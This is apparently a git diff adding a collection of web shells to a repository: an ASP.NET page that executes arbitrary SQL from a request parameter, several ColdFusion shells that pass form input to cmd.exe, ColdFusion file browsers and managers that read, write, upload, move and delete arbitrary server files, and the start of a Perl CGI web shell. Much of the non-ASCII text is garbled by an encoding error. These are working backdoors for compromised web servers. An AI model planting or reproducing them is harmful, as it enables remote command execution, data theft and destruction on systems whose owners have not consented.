|
// System.Data.OleDb.OleDbCommand comm = new System.Data.OleDb.OleDbCommand(Request["sql"], conn);
|
||||||
|
// System.Data.OleDb.OleDbDataAdapter ad = new System.Data.OleDb.OleDbDataAdapter();
|
||||||
|
// ad.SelectCommand = comm;
|
||||||
|
// System.Data.DataSet ds = new System.Data.DataSet();
|
||||||
|
// ad.Fill(ds);
|
||||||
|
// GridView1.DataSource = ds;
|
||||||
|
// GridView1.DataBind();
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
//}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void DropDownList1_SelectedIndexChanged(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
connT.Text = DropDownList1.SelectedValue.ToString();
|
||||||
|
GridView1.Visible = false;
|
||||||
|
DropDownList2.Items.Clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void Button1_Click(object sender, EventArgs e)
|
||||||
|
|
||||||
|
{
|
||||||
|
if (DropDownList1.SelectedIndex == 0)
|
||||||
|
{
|
||||||
|
using (System.Data.Odbc.OdbcConnection conn = new System.Data.Odbc.OdbcConnection(connT.Text.ToString()))
|
||||||
|
//using (System.Data.OleDb.OleDbConnection conn = new System.Data.OleDb.OleDbConnection(connT.Text.ToString()))
|
||||||
|
{
|
||||||
|
conn.Open();
|
||||||
|
System.Data.DataTable dt = conn.GetSchema(<28><>Tables<65><73>);
|
||||||
|
|
||||||
|
//GridView1.DataSource = dt;
|
||||||
|
//GridView1.DataBind();
|
||||||
|
//GridView1.Visible = true;
|
||||||
|
//DropDownList2.DataSource = dt.Select(<28><>TABLE_TYPE=<3D><>TABLE<4C><45><EFBFBD><EFBFBD>);
|
||||||
|
//DropDownList2.DataValueField = <20><>TABLE_NAME<4D><45>;
|
||||||
|
//DropDownList2.DataTextField = <20><>TABLE_NAME<4D><45>;
|
||||||
|
//DropDownList2.DataBind();
|
||||||
|
DropDownList2.Items.Clear();
|
||||||
|
foreach (System.Data.DataRow item in dt.Select(<28><>TABLE_TYPE=<3D><>TABLE<4C><45><EFBFBD><EFBFBD>))
|
||||||
|
{
|
||||||
|
|
||||||
|
DropDownList2.Items.Add(new ListItem(item["TABLE_NAME"].ToString(), item["TABLE_NAME"].ToString()));
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (DropDownList1.SelectedIndex == 1)
|
||||||
|
{
|
||||||
|
using (System.Data.OleDb.OleDbConnection conn = new System.Data.OleDb.OleDbConnection(connT.Text.ToString()))
|
||||||
|
{
|
||||||
|
conn.Open();
|
||||||
|
System.Data.DataTable dt = conn.GetSchema(<28><>Tables<65><73>);
|
||||||
|
|
||||||
|
//GridView1.DataSource = dt;
|
||||||
|
//GridView1.DataBind();
|
||||||
|
//GridView1.Visible = true;
|
||||||
|
//DropDownList2.DataSource = dt.Select(<28><>TABLE_TYPE=<3D><>TABLE<4C><45><EFBFBD><EFBFBD>);
|
||||||
|
//DropDownList2.DataValueField = <20><>TABLE_NAME<4D><45>;
|
||||||
|
//DropDownList2.DataTextField = <20><>TABLE_NAME<4D><45>;
|
||||||
|
//DropDownList2.DataBind();
|
||||||
|
DropDownList2.Items.Clear();
|
||||||
|
foreach (System.Data.DataRow item in dt.Select(<28><>TABLE_TYPE=<3D><>TABLE<4C><45><EFBFBD><EFBFBD>))
|
||||||
|
{
|
||||||
|
|
||||||
|
DropDownList2.Items.Add(new ListItem(item["TABLE_NAME"].ToString(), item["TABLE_NAME"].ToString()));
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (DropDownList1.SelectedIndex == 2)
|
||||||
|
{
|
||||||
|
using (System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection(connT.Text.ToString()))
|
||||||
|
{
|
||||||
|
conn.Open();
|
||||||
|
System.Data.SqlClient.SqlCommand comm = new System.Data.SqlClient.SqlCommand(<28><>select name from sysobjects where type=<3D><>U'<27><>, conn);
|
||||||
|
//System.Data.SqlClient.SqlDataReader dr = comm.ExecuteReader();
|
||||||
|
//string UserTable = <20><><EFBFBD><EFBFBD>;
|
||||||
|
//while (dr.Read())
|
||||||
|
//{
|
||||||
|
// UserTable = (string)dr[0];
|
||||||
|
// DropDownList2.Items.Add(UserTable);
|
||||||
|
|
||||||
|
//}
|
||||||
|
System.Data.SqlClient.SqlDataAdapter ad = new System.Data.SqlClient.SqlDataAdapter();
|
||||||
|
ad.SelectCommand = comm;
|
||||||
|
System.Data.DataSet ds = new System.Data.DataSet();
|
||||||
|
ad.Fill(ds);
|
||||||
|
|
||||||
|
DropDownList2.DataSource = ds;
|
||||||
|
|
||||||
|
DropDownList2.DataTextField = <20><>name<6D><65>;
|
||||||
|
DropDownList2.DataValueField = <20><>name<6D><65>;
|
||||||
|
DropDownList2.DataBind();
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void Button2_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
string provoder = <20><><EFBFBD><EFBFBD>;
|
||||||
|
|
||||||
|
if (DropDownList1.SelectedIndex == 1)
|
||||||
|
provoder = <20><>System.Data.OleDb<44><62>;
|
||||||
|
else if (DropDownList1.SelectedIndex == 2)
|
||||||
|
|
||||||
|
provoder = <20><>System.Data.SqlClient<6E><74>;
|
||||||
|
else if (DropDownList1.SelectedIndex ==0)
|
||||||
|
{
|
||||||
|
provoder = <20><>System.Data.Odbc<62><63>;
|
||||||
|
}
|
||||||
|
|
||||||
|
System.Data.Common.DbProviderFactory factory = System.Data.Common.DbProviderFactories.GetFactory(provoder);
|
||||||
|
System.Data.Common.DbConnection conn=factory.CreateConnection() ;
|
||||||
|
conn.ConnectionString = connT.Text;
|
||||||
|
conn.Open();
|
||||||
|
System.Data.Common.DbCommand comm = conn.CreateCommand();
|
||||||
|
comm.CommandText = Request["sql"];
|
||||||
|
System.Data.Common.DbDataReader dr= comm.ExecuteReader();
|
||||||
|
GridView1.DataSource = dr;
|
||||||
|
GridView1.DataBind();
|
||||||
|
GridView1.Visible = true;
|
||||||
|
dr.Close();
|
||||||
|
comm.Dispose();
|
||||||
|
conn.Close();
|
||||||
|
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<html xmlns=<3D><>http://www.w3.org/1999/xhtml<6D><6C>>
|
||||||
|
<head runat=<3D><>server<65><72>>
|
||||||
|
<title></title>
|
||||||
|
|
||||||
|
<script language=<3D><>javascript<70><74> type=<3D><>text/javascript<70><74>>
|
||||||
|
// <!CDATA[
|
||||||
|
|
||||||
|
function Select1_onclick() {
|
||||||
|
document.getElementById('conn').value = "dsn";
|
||||||
|
}
|
||||||
|
|
||||||
|
// ]]>
|
||||||
|
</script>
|
||||||
|
<style type=<3D><>text/css<73><73>>
|
||||||
|
#sql
|
||||||
|
{
|
||||||
|
width: 677px;
|
||||||
|
height: 106px;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<form id=<3D><>form1<6D><31> runat=<3D><>server<65><72>>
|
||||||
|
<div>
|
||||||
|
<table><tr><td >
|
||||||
|
type:</td><td colspan=<3D><>2<EFBFBD><32>><asp:DropDownList ID=<3D><>DropDownList1<74><31> runat=<3D><>server<65><72>
|
||||||
|
onselectedindexchanged=<3D><>DropDownList1_SelectedIndexChanged<65><64>
|
||||||
|
AutoPostBack=<3D><>True<75><65>>
|
||||||
|
<asp:ListItem Value=<3D><>dsn=;uid=;pwd=;<3B><>>dsn</asp:ListItem>
|
||||||
|
<asp:ListItem Value=<3D><>Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\database.mdb<64><62>>access</asp:ListItem>
|
||||||
|
<asp:ListItem Value=<3D><>server=localhost;UID=sa;PWD=;database=master<65><72>>mssql</asp:ListItem>
|
||||||
|
</asp:DropDownList>
|
||||||
|
<br/></td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<tr><td>
|
||||||
|
conn: </td><td><asp:TextBox ID=<3D><>connT<6E><54> name=<3D><>conn<6E><6E> runat=<3D><>server<65><72> Width=<3D><>680px<70><78>></asp:TextBox></td><td>
|
||||||
|
<asp:Button
|
||||||
|
ID=<3D><>Button1<6E><31> runat=<3D><>server<65><72> Text=<3D><>Go<47><6F>
|
||||||
|
onclick=<3D><>Button1_Click<63><6B> />
|
||||||
|
<br/>
|
||||||
|
</td></tr>
|
||||||
|
<tr><td>tables</td><td colspan=<3D><>2<EFBFBD><32>>
|
||||||
|
<asp:DropDownList ID=<3D><>DropDownList2<74><32> runat=<3D><>server<65><72>>
|
||||||
|
</asp:DropDownList>
|
||||||
|
</td></tr>
|
||||||
|
<tr><td>sqlstr: </td><td><input type=<3D><>text<78><74> name=<3D><>sql<71><6C> id=<3D><>sql<71><6C> value=<3D><><% =Request["sql"]%><3E><>/></td><td>
|
||||||
|
|
||||||
|
<br />
|
||||||
|
<asp:Button ID=<3D><>Button2<6E><32> runat=<3D><>server<65><72> onclick=<3D><>Button2_Click<63><6B> Text=<3D><>Exec<65><63> />
|
||||||
|
</td></tr>
|
||||||
|
</table>
|
||||||
|
<asp:GridView ID=<3D><>GridView1<77><31> runat=<3D><>server<65><72> CellPadding=<3D><>4<EFBFBD><34> ForeColor=<3D><>#333333<33><33>
|
||||||
|
GridLines=<3D><>None<6E><65>>
|
||||||
|
<RowStyle BackColor=<3D><>#EFF3FB<46><42> />
|
||||||
|
<FooterStyle BackColor=<3D><>#507CD1<44><31> Font-Bold=<3D><>True<75><65> ForeColor=<3D><>White<74><65> />
|
||||||
|
<PagerStyle BackColor=<3D><>#2461BF<42><46> ForeColor=<3D><>White<74><65> HorizontalAlign=<3D><>Center<65><72> />
|
||||||
|
<SelectedRowStyle BackColor=<3D><>#D1DDF1<46><31> Font-Bold=<3D><>True<75><65> ForeColor=<3D><>#333333<33><33> />
|
||||||
|
<HeaderStyle BackColor=<3D><>#507CD1<44><31> Font-Bold=<3D><>True<75><65> ForeColor=<3D><>White<74><65> />
|
||||||
|
<EditRowStyle BackColor=<3D><>#2461BF<42><46> />
|
||||||
|
<AlternatingRowStyle BackColor=<3D><>White<74><65> />
|
||||||
|
</asp:GridView>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
BIN
net-friend/cfm/ColdFusion.chm
Normal file
BIN
net-friend/cfm/ColdFusion.chm
Normal file
Binary file not shown.
32
net-friend/cfm/cfmShell.cfm
Normal file
32
net-friend/cfm/cfmShell.cfm
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
|
||||||
|
<title>CFM shell</title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<!--- os.run --->
|
||||||
|
<cfif IsDefined("FORM.cmd")>
|
||||||
|
<cfoutput>#cmd#</cfoutput>
|
||||||
|
<cfexecute name="C:\Winnt\System32\cmd.exe"
|
||||||
|
arguments="/c #cmd#"
|
||||||
|
outputfile="#GetTempDirectory()#foobar.txt"
|
||||||
|
timeout="1">
|
||||||
|
</cfexecute>
|
||||||
|
</cfif>
|
||||||
|
<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">
|
||||||
|
<input type=text size=45 name="cmd" >
|
||||||
|
<input type=Submit value="run">
|
||||||
|
</form>
|
||||||
|
<cfif FileExists("#GetTempDirectory()#foobar.txt") is "Yes">
|
||||||
|
<cffile action="Read"
|
||||||
|
file="#GetTempDirectory()#foobar.txt"
|
||||||
|
variable="readText">
|
||||||
|
<textarea readonly cols=80 rows=20>
|
||||||
|
<CFOUTPUT>#readText#</CFOUTPUT>
|
||||||
|
</textarea>
|
||||||
|
<cffile action="Delete"
|
||||||
|
file="#GetTempDirectory()#foobar.txt">
|
||||||
|
</cfif>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
31
net-friend/cfm/cmfshell.cmf
Normal file
31
net-friend/cfm/cmfshell.cmf
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
|
||||||
|
<title>H4x0r's cfmshell</title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<!--- os.run --->
|
||||||
|
<cfif IsDefined("FORM.cmd")>
|
||||||
|
<cfoutput>#cmd#</cfoutput>
|
||||||
|
<cfexecute name="C:\Winnt\System32\cmd.exe"
|
||||||
|
arguments="/c #cmd#"
|
||||||
|
outputfile="#GetTempDirectory()#foobar.txt"
|
||||||
|
timeout="1">
|
||||||
|
</cfexecute>
|
||||||
|
</cfif>
|
||||||
|
<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">
|
||||||
|
<input type=text size=45 name="cmd" >
|
||||||
|
<input type=Submit value="run">
|
||||||
|
</form>
|
||||||
|
<cfif FileExists("#GetTempDirectory()#foobar.txt") is "Yes">
|
||||||
|
<cffile action="Read"
|
||||||
|
file="#GetTempDirectory()#foobar.txt"
|
||||||
|
variable="readText">
|
||||||
|
<textarea readonly cols=80 rows=20>
|
||||||
|
<CFOUTPUT>#readText#</CFOUTPUT>
|
||||||
|
</textarea>
|
||||||
|
<cffile action="Delete"
|
||||||
|
file="#GetTempDirectory()#foobar.txt">
|
||||||
|
</cfif>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
88
net-friend/cfm/list.cfm
Normal file
88
net-friend/cfm/list.cfm
Normal file
@@ -0,0 +1,88 @@
|
|||||||
|
<CFPARAM NAME="Form.path" DEFAULT="D:\INETPUB\DRS.COM\WWWROOT\">
|
||||||
|
<CFPARAM NAME="Form.filepath" DEFAULT=".">
|
||||||
|
|
||||||
|
<CFIF #Form.filepath# IS NOT ".">
|
||||||
|
<CFFILE ACTION="Read" FILE="#Form.filepath#" VARIABLE="Message">
|
||||||
|
<CFOUTPUT>#htmlCodeFormat(Message)#</CFOUTPUT>
|
||||||
|
<CFABORT>
|
||||||
|
</CFIF>
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
|
||||||
|
<title><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></title>
|
||||||
|
<STYLE type="text/css">
|
||||||
|
body,td {FONT-SIZE: 12px;}
|
||||||
|
a {COLOR: 0000FF; TEXT-DECORATION: none}
|
||||||
|
</STYLE>
|
||||||
|
|
||||||
|
<script language="javascript">
|
||||||
|
<!--
|
||||||
|
function yesok(){
|
||||||
|
if (confirm("ȷ<><C8B7>Ҫִ<D2AA>д˲<D0B4><CBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"))
|
||||||
|
return true;
|
||||||
|
else
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
function ShowFolder(Folder){
|
||||||
|
FolderPath.path.value += Folder + "\\";
|
||||||
|
FolderPath.submit();
|
||||||
|
}
|
||||||
|
function ShowFile(File){
|
||||||
|
hideform.filepath.value = FolderPath.path.value + File;
|
||||||
|
hideform.submit();
|
||||||
|
}
|
||||||
|
-->
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<TABLE cellSpacing=1 cellPadding=0 width="100%" border=0 BGCOLOR="CCCCCC">
|
||||||
|
<form action="" name="FolderPath" method="post">
|
||||||
|
<TR>
|
||||||
|
<TD>
|
||||||
|
<09><>ʾĿ¼<C4BF>ľ<EFBFBD><C4BE><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD>
|
||||||
|
<CFOUTPUT>
|
||||||
|
<input name="path" value="#Form.path#" style="width:600">
|
||||||
|
</CFOUTPUT>
|
||||||
|
<input type=submit value="<22><>ʾ">
|
||||||
|
</TD>
|
||||||
|
</TR>
|
||||||
|
</form>
|
||||||
|
</TABLE>
|
||||||
|
|
||||||
|
<CFDIRECTORY DIRECTORY="#Form.path#" NAME="mydirectory" SORT="size ASC, name DESC, datelastmodified">
|
||||||
|
|
||||||
|
<TABLE cellSpacing=1 cellPadding=0 width="100%" border=0 BGCOLOR="CCCCCC">
|
||||||
|
<TR BGCOLOR="CCCCCC">
|
||||||
|
<TD height=25>Ŀ¼/<2F>ļ<EFBFBD></TD>
|
||||||
|
<TD><3E><EFBFBD>ʱ<EFBFBD><CAB1></TD>
|
||||||
|
<TD><3E><>С</TD>
|
||||||
|
<TD><3E><><EFBFBD><EFBFBD></TD>
|
||||||
|
</TR>
|
||||||
|
|
||||||
|
<CFOUTPUT QUERY="mydirectory">
|
||||||
|
|
||||||
|
<CFIF #mydirectory.type# IS "Dir">
|
||||||
|
<TR BGCOLOR="EFEFEF">
|
||||||
|
<TD><a href="javascript:ShowFolder('#mydirectory.name#')">#mydirectory.name#</a></TD>
|
||||||
|
<CFELSE>
|
||||||
|
<TR BGCOLOR="FFFFFF">
|
||||||
|
<TD><a href="javascript:ShowFile('#mydirectory.name#')">#mydirectory.name#</a></TD>
|
||||||
|
</CFIF>
|
||||||
|
<TD>#mydirectory.datelastmodified#</TD>
|
||||||
|
<TD>#mydirectory.size#</TD>
|
||||||
|
<TD>#mydirectory.attributes#</TD>
|
||||||
|
</TR>
|
||||||
|
</CFOUTPUT>
|
||||||
|
|
||||||
|
</TABLE>
|
||||||
|
|
||||||
|
<Form name="hideform" method="post" action="" target="_blank">
|
||||||
|
<input type="hidden" name="filepath">
|
||||||
|
</Form>
|
||||||
|
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
32
net-friend/cfm/mycode12.cfm
Normal file
32
net-friend/cfm/mycode12.cfm
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
|
||||||
|
<title>CFM shell</title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<!--- os.run --->
|
||||||
|
<cfif IsDefined("FORM.cmd")>
|
||||||
|
<cfoutput>#cmd#</cfoutput>
|
||||||
|
<cfexecute name="cmd.exe"
|
||||||
|
arguments="/c #cmd#"
|
||||||
|
outputfile="#GetTempDirectory()#kyo.txt"
|
||||||
|
timeout="1">
|
||||||
|
</cfexecute>
|
||||||
|
</cfif>
|
||||||
|
<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">
|
||||||
|
<input type=text size=45 name="cmd" >
|
||||||
|
<input type=Submit value="run">
|
||||||
|
</form>
|
||||||
|
<cfif FileExists("#GetTempDirectory()#kyo.txt") is "Yes">
|
||||||
|
<cffile action="Read"
|
||||||
|
file="#GetTempDirectory()#kyo.txt"
|
||||||
|
variable="readText">
|
||||||
|
<textarea readonly cols=80 rows=20>
|
||||||
|
<CFOUTPUT>#readText#</CFOUTPUT>
|
||||||
|
</textarea>
|
||||||
|
<cffile action="Delete"
|
||||||
|
file="#GetTempDirectory()#kyo.txt">
|
||||||
|
</cfif>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
88
net-friend/cfm/xl.cfm
Normal file
88
net-friend/cfm/xl.cfm
Normal file
@@ -0,0 +1,88 @@
|
|||||||
|
<CFPARAM NAME="Form.Action" DEFAULT="ShowPost">
|
||||||
|
<CFSWITCH EXPRESSION=#Form.Action#>
|
||||||
|
|
||||||
|
<CFCASE VALUE="read">
|
||||||
|
<CFFILE ACTION="Read" FILE="#Form.path#" VARIABLE="Message">
|
||||||
|
<CFOUTPUT>#htmlCodeFormat(Message)#</CFOUTPUT>
|
||||||
|
</CFCASE>
|
||||||
|
|
||||||
|
<CFCASE VALUE="write">
|
||||||
|
<CFFILE ACTION="Write" FILE="#Form.path#" OUTPUT="#Form.cmd#">
|
||||||
|
д<EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD>
|
||||||
|
</CFCASE>
|
||||||
|
|
||||||
|
<CFCASE VALUE="copy">
|
||||||
|
<CFFILE ACTION="Copy" SOURCE="#Form.source#" DESTINATION="#Form.DESTINATION#">
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD>Ƴɹ<EFBFBD>
|
||||||
|
</CFCASE>
|
||||||
|
|
||||||
|
<CFCASE VALUE="move">
|
||||||
|
<CFFILE ACTION="MOVE" SOURCE="#Form.source#" DESTINATION="#Form.DESTINATION#">
|
||||||
|
<EFBFBD>ƶ<EFBFBD><EFBFBD>ɹ<EFBFBD>
|
||||||
|
</CFCASE>
|
||||||
|
|
||||||
|
<CFCASE VALUE="delete">
|
||||||
|
<CFFILE ACTION="Delete" FILE="#Form.path#">
|
||||||
|
ɾ<EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD>
|
||||||
|
</CFCASE>
|
||||||
|
|
||||||
|
|
||||||
|
<CFCASE VALUE="upload">
|
||||||
|
<CFFILE ACTION="UPLOAD" FILEFIELD="FileContents" DESTINATION="#Form.path#" NAMECONFLICT="OVERWRITE">
|
||||||
|
|
||||||
|
<EFBFBD>ϴ<EFBFBD><EFBFBD>ɹ<EFBFBD>
|
||||||
|
</CFCASE>
|
||||||
|
|
||||||
|
<CFDEFAULTCASE>
|
||||||
|
|
||||||
|
<form action="" target="_blank" method=post>
|
||||||
|
<textarea style="width:600;height:200" name="cmd"></textarea><br>
|
||||||
|
<input name="path" value="D:\INETPUB\DRS.COM\WWWROOT\images\abc.htm" size=72>
|
||||||
|
<input type=submit value="д<><D0B4><EFBFBD>ļ<EFBFBD>">
|
||||||
|
<input type=hidden name="action" value="write">
|
||||||
|
</form>
|
||||||
|
<br>
|
||||||
|
|
||||||
|
<form action="" target="_blank" method=post>
|
||||||
|
<input name="path" value="D:\INETPUB\DRS.COM\WWWROOT\index.cfm" size=72>
|
||||||
|
<input type=submit value="<22><>ʾ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>">
|
||||||
|
<input type=hidden name="action" value="read">
|
||||||
|
</form>
|
||||||
|
<br>
|
||||||
|
|
||||||
|
<FORM ACTION="" ENCTYPE="multipart/form-data" METHOD="Post" target="_blank">
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <INPUT NAME="path" value="D:\INETPUB\DRS.COM\WWWROOT\images\abc.htm" size=72><br>
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>: <INPUT NAME="FileContents" TYPE="file" size=50>
|
||||||
|
<input type=hidden name="action" value="upload">
|
||||||
|
<INPUT TYPE="submit" VALUE="<22>ϴ<EFBFBD>">
|
||||||
|
</FORM>
|
||||||
|
|
||||||
|
<br>
|
||||||
|
|
||||||
|
<form action="" target="_blank" method=post>
|
||||||
|
Դ<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><input name="source" value="D:\INETPUB\DRS.COM\WWWROOT\images\source.htm" size=65><br>
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD><input name="DESTINATION" value="D:\INETPUB\DRS.COM\WWWROOT\images\DESTINATION.htm" size=65>
|
||||||
|
<input type=submit value="<22><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>">
|
||||||
|
<input type=hidden name="action" value="copy">
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<br>
|
||||||
|
|
||||||
|
<form action="" target="_blank" method=post>
|
||||||
|
Դ<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><input name="source" value="D:\INETPUB\DRS.COM\WWWROOT\images\source.htm" size=65><br>
|
||||||
|
<EFBFBD>ƶ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><input name="DESTINATION" value="D:\INETPUB\DRS.COM\WWWROOT\images\DESTINATION.htm" size=65>
|
||||||
|
<input type=submit value="<22>ƶ<EFBFBD><C6B6>ļ<EFBFBD>">
|
||||||
|
<input type=hidden name="action" value="move">
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<br>
|
||||||
|
|
||||||
|
<form action="" target="_blank" method=post>
|
||||||
|
<input name="path" value="D:\INETPUB\DRS.COM\WWWROOT\images\abc.htm" size=72>
|
||||||
|
<input type=submit value="ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD>ļ<EFBFBD>">
|
||||||
|
<input type=hidden name="action" value="delete">
|
||||||
|
</form>
|
||||||
|
|
||||||
|
</CFDEFAULTCASE>
|
||||||
|
|
||||||
|
</CFSWITCH>
|
||||||
869
net-friend/cgi/WebShell.cgi
Normal file
869
net-friend/cgi/WebShell.cgi
Normal file
@@ -0,0 +1,869 @@
|
|||||||
|
#!/usr/bin/perl
|
||||||
|
###############################################################################
|
||||||
|
### Gamma Web Shell
|
||||||
|
### Copyright 2003 Gamma Group
|
||||||
|
### All rights reserved
|
||||||
|
###
|
||||||
|
### Gamma Web Shell is free for both commercial and non commercial
|
||||||
|
### use. You may modify this script as you find necessary as long
|
||||||
|
### as you do not sell it. Redistribution is not allowed without
|
||||||
|
### prior consent from Gamma Group (support@gammacenter.com).
|
||||||
|
###
|
||||||
|
### Gamma Group <http://www.gammacenter.com>
|
||||||
|
###
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
|
||||||
|
###############################################################################
|
||||||
|
|
||||||
|
package WebShell::Configuration;
|
||||||
|
|
||||||
|
use vars qw($password $restricted_mode $ok_commands);
|
||||||
|
|
||||||
|
##
|
||||||
|
## Password.
|
||||||
|
## Set to blank if you don't need password protection.
|
||||||
|
##
|
||||||
|
$password = "changeme";
|
||||||
|
|
||||||
|
##
|
||||||
|
## Restricted mode.
|
||||||
|
## Set to "1" to allow only a limited set of commands.
|
||||||
|
##
|
||||||
|
$restricted_mode = 0;
|
||||||
|
|
||||||
|
##
|
||||||
|
## Available commands.
|
||||||
|
## The list of available commands for the restricted mode.
|
||||||
|
##
|
||||||
|
$ok_commands = ['ls', 'ls -l', 'pwd', 'uptime'];
|
||||||
|
|
||||||
|
###############################################################################
|
||||||
|
|
||||||
|
package WebShell::Templates;
|
||||||
|
|
||||||
|
use vars qw($LOGIN_TEMPLATE $INPUT_TEMPLATE $EXECUTE_TEMPLATE $BROWSE_TEMPLATE);
|
||||||
|
|
||||||
|
my $VERSION = 'Gamma Web Shell 1.3';
|
||||||
|
|
||||||
|
my $STYLESHEET = <<EOT;
|
||||||
|
body {
|
||||||
|
font-family: Verdana, Helvetica, sans-serif;
|
||||||
|
font-size: 90%;
|
||||||
|
color: #000;
|
||||||
|
background: #FFF;
|
||||||
|
margin: 0px;
|
||||||
|
padding: 0px;
|
||||||
|
}
|
||||||
|
|
||||||
|
h1, h2, h3, h4, h5, h6 {
|
||||||
|
margin: 0.3em;
|
||||||
|
padding: 0px;
|
||||||
|
}
|
||||||
|
|
||||||
|
input, select, textarea, select {
|
||||||
|
font-family: Verdana, Helvetica, sans-serif;
|
||||||
|
font-size: 100%;
|
||||||
|
margin: 1px;
|
||||||
|
padding: 0px 1px;
|
||||||
|
}
|
||||||
|
|
||||||
|
pre, code, tt {
|
||||||
|
font-family: 'Courier New', Courier, monospace;
|
||||||
|
font-size: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
form {
|
||||||
|
margin: 0px;
|
||||||
|
padding: 0px;
|
||||||
|
}
|
||||||
|
|
||||||
|
table {
|
||||||
|
font-size: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
a {
|
||||||
|
text-decoration: none;
|
||||||
|
color: #000;
|
||||||
|
background: transparent;
|
||||||
|
}
|
||||||
|
|
||||||
|
a:hover {
|
||||||
|
text-decoration: underline;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header, .footer {
|
||||||
|
color: #000;
|
||||||
|
background: #CCF;
|
||||||
|
margin: 0px;
|
||||||
|
padding: 0px;
|
||||||
|
text-align: center;
|
||||||
|
border: solid #000;
|
||||||
|
border-width: 1px 0px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.box {
|
||||||
|
border: 1px solid #000;
|
||||||
|
border-collapse: collapse;
|
||||||
|
color: #000;
|
||||||
|
background: #CCF;
|
||||||
|
}
|
||||||
|
|
||||||
|
.box-header, .box-content, .box-text, .box-error, .box-menu {
|
||||||
|
border: 1px solid #000;
|
||||||
|
}
|
||||||
|
|
||||||
|
.box-header, .box-header a {
|
||||||
|
color: #FFF;
|
||||||
|
background: #000;
|
||||||
|
}
|
||||||
|
|
||||||
|
.box-content {
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.box-text {
|
||||||
|
padding: 3px 10px;
|
||||||
|
font-size: 90%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.box-menu {
|
||||||
|
padding: 3px 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.box-error {
|
||||||
|
color: #FFF;
|
||||||
|
background: #F00;
|
||||||
|
font-weight: bold;
|
||||||
|
padding: 3px 25px;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dialog {
|
||||||
|
text-align: left;
|
||||||
|
border-collapse: collapse;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dialog-even {
|
||||||
|
color: #000;
|
||||||
|
background: #CCF;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dialog-odd {
|
||||||
|
color: #000;
|
||||||
|
background: #AAE;
|
||||||
|
}
|
||||||
|
|
||||||
|
.menu {
|
||||||
|
font-weight: normal;
|
||||||
|
}
|
||||||
|
|
||||||
|
.menu-selected {
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tool {
|
||||||
|
background: transparent;
|
||||||
|
color: #000;
|
